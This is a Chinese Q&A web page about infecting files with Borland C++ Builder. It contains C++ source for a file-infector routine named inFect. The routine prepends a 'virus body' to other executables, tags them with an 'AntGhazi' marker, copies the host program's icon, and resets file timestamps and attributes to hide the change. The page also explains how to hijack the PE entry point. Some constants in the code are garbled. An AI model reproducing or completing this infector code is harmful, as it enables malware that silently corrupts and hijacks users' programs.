分享
 
 
 

关于BCB写入文件进行感染的问题

王朝other·作者佚名  2008-06-01
窄屏简体版  字體: |||超大  

提示一点,一种最简单的方法是,自己做一个外壳程序(Shell),然后将要运行的程序以某种方式放入到外壳程序中(比如以资源或者特定位置数据),而外壳程序可以抽取原可执行程序文件得图标,并可修改自己的图标与之相同。这样一来,经过修改的程序就是 外壳程序 + 原可执行程序(已作为数据存在于外壳程序中),运行后自然先启动外壳程序,你可以在其中加入一些权限判定的代码,通过验证后,外壳程序将自身中的真正可执行文件数据提取并运行。这里面的要求是,外壳程序必须用纯 WinAPI SDK 方式编写,以减少文件体积;外壳程序应当对写入自身的原可执行程序数据作加密处理,以防被窃取。你可以位外壳程序增加感染功能(不要做病毒哦……)等等。

/****************************************************************************

Function Name : inFect

Function : 感染文件

Parement : char *strFile 文件名

char *strSource 病毒体

DWord dwSourceSize 病毒体长度

Return : if sUCcess return 1,else return 0;

*****************************************************************************/

int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){

HANDLE hSearchFile=NULL;

DWORD dwSearchFileSize=0;

char VirusFlag[10]={'\0'};

DWORD bytes_write;

WIN32_FIND_DATA lpFindFileData=_lpFindFileData;

char *strFile=lpFindFileData.cFileName ;

//char *strFile="AntGhazi.tmp\0";//测试时,特定只感染此文件

//strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//测试时,特定只感染此文件

::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);

hSearchFile=::CreateFile (strFile,GENERIC_READGENERIC_WR99vE, FILE_SHARE_WR99vE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

if(hSearchFile == INVALID_HANDLE_VALUE){

::CloseHandle (hSearchFile);

::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );

return 0;

}

::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先读取标志

::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);

::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);

if(strcmp(VirusFlag,"AntGhazi")!=0){ //感染

//先读取长度

dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原长度

if(dwSearchFileSize>10485760){ //假如文件大于10M,则退出

::CloseHandle (hSearchFile);

::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );

return 0;

}

char *pSearchFile=new char[dwSearchFileSize];

::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //读取原文件内容

::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);

memmove(strSource+80,"AntGhazi",8); //写入标志

memcpy(strSource+88,&dwSearchFileSize,4); //写入源长度

::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //预备写入文件中

ModifyIcon(&strSource,pSearchFile); //修改ICON

::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);

::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);

delete pSearchFile;

SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//写入日期

::CloseHandle (hSearchFile);

}else{

::CloseHandle (hSearchFile);

}

::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );

return 1;

}

先弄明白EXE文件的格式,每个EXE文件都有一个文件头叫PE,那文件头里面定义了该EXE文件里面各段的地址等很多重要的数据,有一个起始的指针指向程序开始运行的入口地址,你做个外壳把那地址改成你的程序入口,然后在你程序结束的时候转到原来的那个入口就可以了。

说起道理来轻易,但想弄明白PE可真不是件轻易事哦!

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有